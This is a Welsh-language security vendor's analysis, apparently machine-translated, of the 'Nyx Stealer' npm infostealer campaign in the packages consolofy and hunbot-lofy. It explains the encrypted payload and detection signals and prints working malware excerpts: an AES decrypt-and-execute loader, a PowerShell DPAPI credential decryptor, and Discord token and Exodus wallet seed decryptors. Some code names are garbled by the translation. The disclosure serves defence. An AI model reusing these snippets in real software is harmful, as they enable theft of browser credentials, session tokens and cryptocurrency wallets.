TL; DR
Tîm Ymchwil Diogelwch Xygeni wedi nodi ymgyrch lladrad gwybodaeth npm soffistigedig a gyflwynwyd trwy ddau becyn maleisus: consolofy ac hunbot-lofy.
Y fersiwn ddiweddaraf (consolelofy@1.3.0) yn mewnosod llwyth tâl wedi'i amgryptio ag AES 216KB sy'n dadgryptio yn ystod amser rhedeg ac yn gweithredu trwy vm.runInNewContext()Gan fod y rhesymeg faleisus wedi'i hamgryptio'n llawn, ni all sganwyr statig sy'n dibynnu ar archwilio llinynnau arsylwi ei ymddygiad tan amser gweithredu.
Ar ôl ei ddadgryptio, y llwyth tâl, wedi'i frandio'n fewnol Lleidr Nyx, targedau:
- Tocynnau dilysu Discord
- 50+ o siopau credydau porwr
- 90+ o estyniadau waled arian cyfred digidol
- Sesiynau Roblox, Instagram, Spotify, Steam, Telegram, a TikTok
- Parhad cleient bwrdd gwaith Discord
Adroddwyd a chadarnhawyd bod pob un o'r 20 fersiwn ar draws y ddau becyn yn faleisus.
Trosolwg Technegol o'r Lleidr Gwybodaeth npm hwn
Yn wahanol i ddrwgwedd amser gosod traddodiadol, mae'r ymgyrch hon yn dibynnu ar a Rhedeg model dadgryptio.
Mae yna:
- Dim maleisus
preinstallorpostinstallhooks - Dim galwadau rhwydwaith amlwg amser gosod
- Dim rhesymeg casglu manylion mewngofnodi testun plaen
Mae'r llwyth tâl yn actifadu pan fydd y modiwl yn cael ei fewnforio. Mae'r corff maleisus cyfan wedi'i amgryptio a dim ond yn ystod amser rhedeg y mae'n ymddangos yn y cof.
Mae'r dyluniad hwn yn osgoi canfod yn benodol yn ystod gosod pecynnau.
Sut Mae'r Lleidr Gwybodaeth npm hwn yn Gweithredu mewn Gwirionedd
Cyn dadansoddi beth mae Nyx Stealer yn ei ddwyn, mae angen i ni ddeall sut mae'n gweithredu.
Mae'r rhesymeg faleisus y tu mewn i'r lladrad gwybodaeth npm hwn yn dilyn patrwm cyson:
Mae llwythwr bach yn dadgryptio llwyth tâl mawr wedi'i amgryptio ac yn ei weithredu'n ddeinamig y tu mewn i gyd-destun VM Node.js.
Mae'r dyluniad hwn yn fwriadol. Nid yw'r ymosodwr yn cuddio ymarferoldeb y tu ôl i ddrysu yn unig, maen nhw tynnu'r cod maleisus o welededd statig yn gyfan gwbl.
Model Gweithredu Lefel Uchel
Ar lefel uchel, mae'r lapio yn gwneud pedwar peth:
- Yn deillio allwedd AES o gyfrinair caled-godio gan ddefnyddio SHA-256
- Yn dadgryptio testun seiffr mawr wedi'i amgodio â hecs gan ddefnyddio AES-256-CBC
- Yn gweithredu'r JavaScript wedi'i ddadgryptio gan ddefnyddio
vm.runInNewContext() - Yn darparu blwch tywod sy'n dal i ddatgelu cyntefigion amser rhedeg pwerus
Crynodeb o'r Techneg Graidd
| Cydran | Ffurfweddiad / Gwerth |
|---|---|
| algorithm | AES-256-CBC |
| Deilliad Allweddol | SHA-256 (cyfrinair) |
| Fector Cychwyn (IV) | 16 beit o 0x00 |
| Gweithredu | vm.runMewnCyd-destunNewydd(wedi'i ddadgryptio, blwch tywod) |
Yn hollbwysig, mae'r blwch tywod yn mynd trwy:
requireprocessBuffer- amseryddion
- allforion modiwlau
Mae hyn yn golygu bod y llwyth tâl wedi'i ddadgryptio yn cadw'r gallu llawn i:
- Prosesau silio
- Darllen ac ysgrifennu ffeiliau
- Gwneud galwadau rhwydwaith
- Addasu cymwysiadau lleol
Nid VM cyfyngedig yw hwn. Mae'n VM a ddefnyddir fel trampolîn gweithredu.
Patrwm Amgryptio Amser Rhedeg (Mecanwaith Gweithredu Craidd)
Mae'r llwythwr yn fach.
Nid yw'r corff maleisus.
Isod mae'r patrwm gweithredu a geir y tu mewn i'r pecyn:
const crypto = require('crypto'); const vm = require('vm'); function decryptAndExecute(encryptedHex, passphrase) { const key = crypto.createHash('sha256') .update(passphrase) .digest(); const iv = Buffer.alloc(16, 0); const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv); let decrypted = decipher.update(encryptedHex, 'hex', 'utf8'); decrypted += decipher.final('utf8'); const sandbox = { require, module, exports, console, process, Buffer, __dirname, __filename, setTimeout, setInterval, clearTimeout, clearInterval }; vm.runInNewContext(decrypted, sandbox); } Pam mae hyn yn bwysig
Y llwyth tâl wedi'i ddadgryptio:
- A yw'r nad yn bodoli mewn testun plaen y tu mewn i'r pecyn npm
- Yn anweledig i syml
grepneu sganio llinynnau statig - Dim ond yn ystod amser rhedeg y mae'n ymddangos yn y cof
- Yn gweithredu gyda galluoedd rhedeg amser Node llawn
Mae'r cyfuniad gweithredu AES + VM hwn yn ddangosydd ymddygiad cryf o lladron gwybodaeth npm yn ceisio osgoi archwiliad statig.
Mewn geiriau eraill:
Os ydych chi'n sganio coeden ffynhonnell y pecyn, dydych chi ddim yn gweld lladradwr.
Rydych chi'n gweld dadgryptiwr.
Beth Sy'n Digwydd Ar ôl Dadgryptio
Ar ôl ei weithredu, mae Nyx Stealer yn lansio tonnau casglu data cyfochrog.
Ton 1: Echdynnu Manylion Porwr
Y meddalwedd faleisus:
- Yn lawrlwytho amser rhedeg Python o NuGet CDN
- Yn gosod llyfrgelloedd cryptograffig
- Yn echdynnu storfeydd credydau sy'n seiliedig ar Gromiwm
- Yn dadgryptio cyfrinachau a ddiogelir gan DPAPI
Yn lle llunio rhwymiadau brodorol, mae'n defnyddio PowerShell i alw Windows DPAPI yn uniongyrchol.
function dpapiUnprotectWithPowerShell(dataBuf) { const b64 = dataBuf.toString('base64'); const ps = "Add-Type -AssemblyName System.Security;" + "$b=[Convert]::FromBase64String('" + b64 + "');" + "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" + "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" + "[Console]::Out.Write([Convert]::ToBase64String($p))"; const cmd = `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`; return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); } Y dull hwn:
- Yn osgoi arteffactau crynhoi
- Yn defnyddio APIs crypto Windows brodorol
- Yn cymysgu i mewn i offer gweinyddol
Dadgryptio credydau lefel y system weithredu ydyw, nid crafu.
Ton 2: Datgryptio Tocyn Discord
Mae'r lleidr yn ymwybodol o brotocol. Mae'n deall fformat tocyn wedi'i amgryptio Discord.
function decryptToken(encryptedToken, key) { const tokenParts = encryptedToken.split('dQw4w9WgXcQ:'); const encryptedData = Buffer.from(tokenParts[1], 'base64'); const iv = encryptedData.slice(3, 15); const ciphertext = encryptedData.slice(15, -16); const tag = encryptedData.slice(-16); const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv); decipher.setAuthTag(tag); return decipher.update(ciphertext).toString('utf8'); } Llif gweithredol:
- Tynnu allwedd meistr o Discord
Local State - Dadgryptio'r allwedd meistr drwy DPAPI
- Dadgryptio blobiau tocyn AES-GCM
- Dilysu tocynnau yn erbyn API Discord
- Cyfoethogi gyda Nitro, bathodynnau, gwybodaeth bilio
Nid dympio manylion mewngofnodi generig yw hyn. Herwgipio sesiwn sy'n ymwybodol o brotocol ydyw.
Ton 3: Targedu Waledau Arian Cyfred Digidol
Mae'r lleidr gwybodaeth npm yn rhestru:
- 90+ o estyniadau waled porwr
- 27 o waledi bwrdd gwaith
- Llwybrau waled oer
- Ffeiliau hadau Exodus
Enghraifft o ymgais dadgryptio hadau:
function decryptSeco(content, password) { const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512'); const decipher = crypto.createDecipheriv( 'aes-256-gcm', key, content.slice(0, 12) ); decipher.setAuthTag(content.slice(-16)); return Buffer.concat([ decipher.update(content.slice(12, -16)), decipher.final() ]).toString('utf8'); } Os bydd yn llwyddiannus, mae peryglu waled yn syth ac yn anghildroadwy.
Mae hyn yn cynrychioli fector monetization gwerth uchaf yr ymgyrch.
Parhad trwy Chwistrelliad Penbwrdd Discord
Ar ôl cynaeafu cymwysterau, mae Nyx Stealer yn ceisio parhau trwy addasu'r lleol Discord cleient.
Targed:
%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js Dilyniant Gweithredol
Mae'r lladron gwybodaeth yn cyflawni'r camau canlynol:
- Yn terfynu prosesau Discord sy'n rhedeg
- Yn lleoli amrywiadau Discord sydd wedi'u gosod (Stable, Canary, PTB)
- Trosysgrifennu
discord_desktop_core/index.js - Yn chwistrellu rhesymeg webhook a reolir gan ymosodwr
- Ailgychwyn Discord
Mae hyn yn sicrhau bod sesiynau Discord yn y dyfodol yn gollwng tocynnau dilysu ffres yn awtomatig.
Yn bwysig, nid yw'r dyfalbarhad hwn yn dibynnu ar dasgau wedi'u hamserlennu na newidiadau i'r gofrestrfa. Mae'n manteisio ar addasu cod ar lefel y cymhwysiad, sef dull mwy cudd.
Hyd yn oed os caiff y pecyn npm maleisus ei ddileu yn ddiweddarach, mae'r cleient Discord yn parhau i fod wedi'i beryglu.
Cymhariaeth Dechnegol: Legitimate Selfbot vs npm Infostealer
| Cydran | Llyfrgell Gyfreithlon | Lleidr Gwybodaeth Nyx npm |
|---|---|---|
| Encryption | Dim | Llwyth tâl wedi'i amgryptio gan AES llawn |
| VM amser rhedeg | Ddim yn ofynnol | vm.runInNewContext gweithredu |
| Mynediad Credadwy | API Discord yn unig | Porwr, waledi, DPAPI |
| Lawrlwythiadau Allanol | Na | Amser rhedeg Python trwy NuGet |
| Dyfalbarhad | Na | Chwistrelliad cleient Discord |
| monetization | Awtomeiddio botiau | Ailwerthu tystlythyrau |
Mae'r haen amgryptio yn unig eisoes yn gwahanu'r ymgyrch hon oddi wrth fforc ffynhonnell agored nodweddiadol.
Nid oes gan hunanbot Discord cyfreithlon unrhyw reswm i amgryptio ei gronfa god gyfan, creu PowerShell i gael mynediad at DPAPI, lawrlwytho amseroedd rhedeg allanol, na newid mewnolion cymwysiadau bwrdd gwaith. Pan fydd y galluoedd hynny'n ymddangos y tu mewn i ddibyniaeth sy'n honni awtomeiddio rhyngweithiadau Discord, mae'n amhosibl anwybyddu'r anghydweddiad pensaernïol.
O safbwynt ymchwiliad, mae'r lleidr gwybodaeth npm hwn yn gadael olion ar draws sawl haen. Fodd bynnag, nid URLau caled-godio na llwybrau ffeiliau penodol yw'r dangosyddion mwyaf dibynadwy, gan y gall y rheini newid rhwng fersiynau. Yn hytrach, mae'r signalau gwydn yn strwythurol.
Ar lefel y pecyn, y faner goch gryfaf yw'r cyfuniad o lwyth tâl wedi'i amgryptio mawr a lapio dadgryptio amser rhedeg sy'n gweithredu ar unwaith trwy vm.runInNewContext()Er nad yw amgryptio ynddo'i hun yn faleisus yn ei hanfod, mae defnyddio dadgryptio AES ac yna gweithredu VM deinamig o fewn pecyn cyfleustodau Discord yn anarferol iawn.
Ar lefel y gwesteiwr, mae patrymau amheus yn cynnwys gweithgaredd dadgryptio DPAPI annisgwyl, prosesau'n dod o gyd-destun dibyniaeth Node.js, ac addasu ffeiliau cymhwysiad lleol na ddylai llyfrgelloedd trydydd parti byth eu newid. Yn yr un modd, ar yr haen rhwydwaith, mae cyfathrebu allanol arddull gwe-hook a gychwynnir gan ddibyniaeth datblygu yn cynrychioli anomaledd ystyrlon arall.
Mewn geiriau eraill, nid yw'r arwyneb canfod yn un dangosydd o berygl. Y gydberthynas rhwng amgryptio, gweithredu amser rhedeg, mynediad at gredydau, ac ymddygiad dyfalbarhad sy'n datgelu'r bygythiad.
Canfod a Lliniaru gyda Xygeni
Cafodd y lleidr gwybodaeth npm hwn ei adnabod gan Rhybudd Cynnar Maleisus Xygeni (MEW) trwy gydberthynas ymddygiadol haenog yn hytrach na pharu llofnodion syml.
Yn hytrach na chwilio am linynnau maleisus hysbys, mae MEW yn gwerthuso anomaleddau strwythurol ar draws y goeden ffynhonnell lawn. Yn yr achos hwn, daeth y canfod i'r amlwg o gydgyfeirio sawl signal: trefn dadgryptio AES wedi'i hymgorffori ym mhwynt mynediad y modiwl, gweithredu ar unwaith y tu mewn i gyd-destun VM, a chamgymhariad clir rhwng gallu a bwriad.
Yn bwysig, nid yw'r un o'r signalau hyn ar eu pen eu hunain yn profi bwriad maleisus. Fodd bynnag, pan ddadansoddir hwy gyda'i gilydd, maent yn datgelu ymgais i guddio ymddygiad amser rhedeg. Mae'r dull haenog hwn yn lleihau canlyniadau positif ffug yn sylweddol wrth nodi bygythiadau cadwyn gyflenwi hyder uchel.
Ar ben hynny, mae'r achos hwn yn dangos pam nad yw archwiliad amser gosod yn unig yn ddigonol. Nid yw'r rhesymeg faleisus yn bresennol mewn sgriptiau cylch bywyd. Dim ond ar ôl i'r modiwl lwytho y mae'n actifadu a dim ond ar ôl iddo gael ei ddadgryptio yn y cof y daw'n weladwy. Felly, mae amddiffyniad effeithiol yn gofyn am ddadansoddiad sy'n ymwybodol o amgryptio, adnabod patrymau ymddygiad, a monitro dibyniaeth yn barhaus y tu hwnt i ddigwyddiadau gosod.
Mae tynnu'r gofrestrfa i lawr yn adweithiol. Mae dadansoddiad sy'n ymwybodol o amser rhedeg yn ataliol.
Pam mae'r Lleidr Gwybodaeth npm hwn yn Bwysig
Mae Nyx Stealer yn cynrychioli esblygiad strwythurol mewn meddalwedd faleisus sy'n seiliedig ar npm.
Yn hanesyddol, roedd llawer o becynnau maleisus yn dibynnu ar sgriptiau amser gosod gweladwy neu bwyntiau terfyn allfudo manylion mewngofnodi amlwg. I'r gwrthwyneb, mae'r ymgyrch hon yn amgryptio ei llwyth tâl, yn gohirio gweithredu i amser rhedeg, yn manteisio ar APIs system weithredu cyfreithlon, ac yn sefydlu parhad y tu mewn i gymwysiadau dibynadwy.
O ganlyniad, nid oes angen i'r ymosodwr fanteisio ar seilwaith npm ei hun. Yn hytrach, mae'r ymosodiad yn llwyddo oherwydd bod gosod dibyniaeth yn awgrymu ymddiriedaeth. Mae datblygwyr yn tybio bod mewnforio llyfrgell yn weithrediad diogel, yn enwedig pan mae'n cyflwyno ei hun fel fforch gredadwy o offeryn poblogaidd.
Wrth i ecosystemau barhau i dyfu a fforciau amlhau, mae'r ffin ymddiriedaeth ymhlyg honno'n dod yn arwyneb ymosod cynyddol ddeniadol. Felly, mae amddiffyn yn erbyn lladron gwybodaeth npm modern yn gofyn am gydnabod patrymau pensaernïol yn hytrach na chwilio am linynnau statig.
Yn y pen draw, mae'r ymgyrch hon yn atgyfnerthu gwers hollbwysig mewn software supply chain security: nid y bygythiadau mwyaf peryglus yw'r rhai sy'n edrych yn faleisus ar yr olwg gyntaf, ond y rhai sy'n ymddangos yn strwythurol gyfreithlon nes bod amser rhedeg yn datgelu eu hymddygiad gwirioneddol.




